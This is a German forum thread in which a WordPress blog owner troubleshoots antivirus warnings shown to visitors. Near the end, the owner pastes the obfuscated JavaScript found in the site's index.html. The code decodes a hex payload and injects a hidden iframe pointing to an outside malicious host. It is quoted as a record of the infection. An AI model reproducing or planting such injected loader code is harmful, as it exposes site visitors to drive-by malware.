Virus/Trojaner auf Wordpress-Blog?

mky

Hallo Zusammen!

Ich hab ein riiisen Problem. Öffnet man meine Seite mit dem Firefox geschieht nichts. Öffnet man sie mit dem IE7, kommen Meldungen vom Virenprogramm!

Hatte das Problem schon mal. Damals war in jeder statischen Seite, ein Code, welcher von weiss ich wo her kam. Jedenfalls nicht von mir. Diesen gelöscht war alles wieder in Ordnung. Diesmal sitzt der Bug aber an einem anderen Ort, doch nur wooo?

Kennt ihr ähnliche Probleme mit einem Wordpressblog?

Folgende Antivirenprogramme haben gemeckert: Kaspersky und Avira AntiVir

Hoffe ihr habt Tipps für mich!
Gruss

Werbepost

Hallo!

Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.

✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
✔️ Deutsche Server & DSGVO-konform
✔️ Persönlicher Support (kein 0815-Ticket-System)

Mehr erfahren

S.i.T.

ich kriege ein Weiterleitung und dann sehe ich dein Blog. - Fx 3.0.5

marX

Hier auch ne Virenmeldung (Opera 9.6, WinXP, Avira Antivir). Aber im Quellcode kann ich nichts auffälliges entdecken. Der Virenscanner scheint sich wohl an einem der (verschlüsselten) JavaScripte aufzuhängen. Ich würde mal testweise alle Plugins deaktivieren, die irgendwas mit JavaScript zu tun haben. Wenn die Meldung dann weg ist, dann ist wohl eins der Scripte schuld. Schau mal ob du dem Übeltäter so auf die Spur kommst.

S.i.T.

gut möglich, hier und da meldet sich auch bei meinen Gästen die virenwächter, wenn der 1Bit-Player aufgerufen wird.

neuling2009

Bei mir springt nichts an. Avira, kasperski und co bleiben alle ruhig.
Egal ob Firefox oder IE.

Erlaube mir mal bitte eine Frage.
Kann es sein, dass du registrierte User suchst?
Blogvorstellungen sind doch woanders.
Du solltest vielleicht Deine Kommentatoren im Blog etwas editieren. Würde deutlich besser aussehen. Aber vielleicht hab ich den Sinn des Blogs auch nicht verstanden. :confused:

Col Pain

Ich glaube nicht, daß toolazytothink auf diese Art nur auf seinen Blog aufmerksam machen will. Bei mir springt Antivir auch an.
Deaktiviere mal, wie marX schon sagte, testweise mal alle Plugins und teste es dann noch mal. Wenn dann die Warnung weg ist, die Plugins nacheinander wieder aktivieren und immer wieder testen. So kannst du eingrenzen, wo der Übeltäter sitzt.

mfg Col

mky

Ok, Danke für eure Tipps. Ich versuche das mit den Plugins deaktivieren im Verlaufe des Tages...

Ich möchte ganz sicher nicht nur auf meinen Blog aufmerksam machen =) Mein Blog hat nähmlich den Sinn, dass man im Grunde nichts machen kann wenn man nicht eingeloggt ist. Die eingeloggten User (alles Freunde und Kollegen von mir) sehen dann Fotos und Videos von uns, unseren Freunden, etc... . Deshalb möchte ich auch nicht auf den Blog aufmerksam machen, denn meine Freunde kennen ihn bereits ;)

Grüsse

mky

und Neuling2009, was meinst du genau mit? :confused:

Zitat

Du solltest vielleicht Deine Kommentatoren im Blog etwas editieren.

mky

Problem gelöst!

Ich wollte heute das mit den Plugins deaktivieren mal versuchen, doch vorher wollte ich nochmals schauen, ob der Virenscanner immernoch anspringt. Ich startete den IE und ging dann aber direkt auf die Seite

Und es kam keine Meldung. Somit war klar, dass bei der Weiterleitung etwas sein muss und siehe da, in der index.html war folgender Code:

Zitat

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title></title>
</head>
<body>

<script language="JavaScript" type="text/javascript">
D5C4158AEF46B69="par";D5C4158AEF46B69+="seI";D5C4158AEF46B69+="nt";FE1F32BBF7="St";FE1F32BBF7+="ring.fro";FE1F32BBF7+="m";FE1F32BBF7+="C";FE1F32BBF7+="ha";FE1F32BBF7+="rCode";function B2757AA(D9860E301B83D){var B85AD550ED=593;B85AD550ED=B85AD550ED-577;E30CBEB00=eval(D5C4158AEF46B69+"(D9860E301B83D,B85AD550ED)");return(E30CBEB00);}function FD10237EA057219(DF5DB122){var BC9EAC14C8B5D=654;BC9EAC14C8B5D=BC9EAC14C8B5D-652;var D84379EA6="";for(F28A28B16FE12=0;F28A28B16FE12<DF5DB122.length;F28A28B16FE12+=BC9EAC14C8B5D){D84379EA6+=( eval(FE1F32BBF7+"(B2757AA(DF5DB122.substr(F28A28B16FE12,BC9EAC14C8B5D)))"));}eval(D84379EA6);}FD10237EA057219("69662028646F63756D656E742E636F6F6B69652E73656172636828227A7A643D342229203D3D202D3129207B0A747661633D646F63756D656E742E676574456C656D656E7442794964282769776E7627293B696628747661633D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D69776E76207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D20227A7A643D343B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");
</script>
</body>
</html>

Alles anzeigen

Das Script rauslöschen ging nicht. War nach dem Speicher wieder da. Habe dann die Datei gelöscht und eine neue erstellt und es funktioniert wieder, OHNE MELDUNGEN VON VIRENSCANNER! =)

Danke trotzdem für eure Tipps!

So nebenbei, hat zwar nichts mit Wordpress zu tun, weiss jemand wie man sich vor solchen Dingern schützen kann?

neuling2009

Ich meine, dass die für gewöhnliche Blogkenner komische Nutzernamen haben.
(arschge.... Weihnachtsmann) würde ich bei mir als unbekant oder anonym canceln. Dafür gibt doch ne Blacklist.

mky

Zitat von neuling2009

Ich meine, dass die für gewöhnliche Blogkenner komische Nutzernamen haben.
(arschge.... Weihnachtsmann) würde ich bei mir als unbekant oder anonym canceln. Dafür gibt doch ne Blacklist.

Das kapier ich jetzt aber total nicht...

Ich habe keine unbekannten User bei mir, da wie gesagt, alles Freunde von mir sind. Alle andern können sich zwar registrieren, werden aber nicht freigegeben, wenn ich sie nicht identifizieren kann und anschliessend gelöscht...

Willkommen! Melden Sie sich an oder registrieren Sie sich.

Virus/Trojaner auf Wordpress-Blog?

Jetzt mitmachen!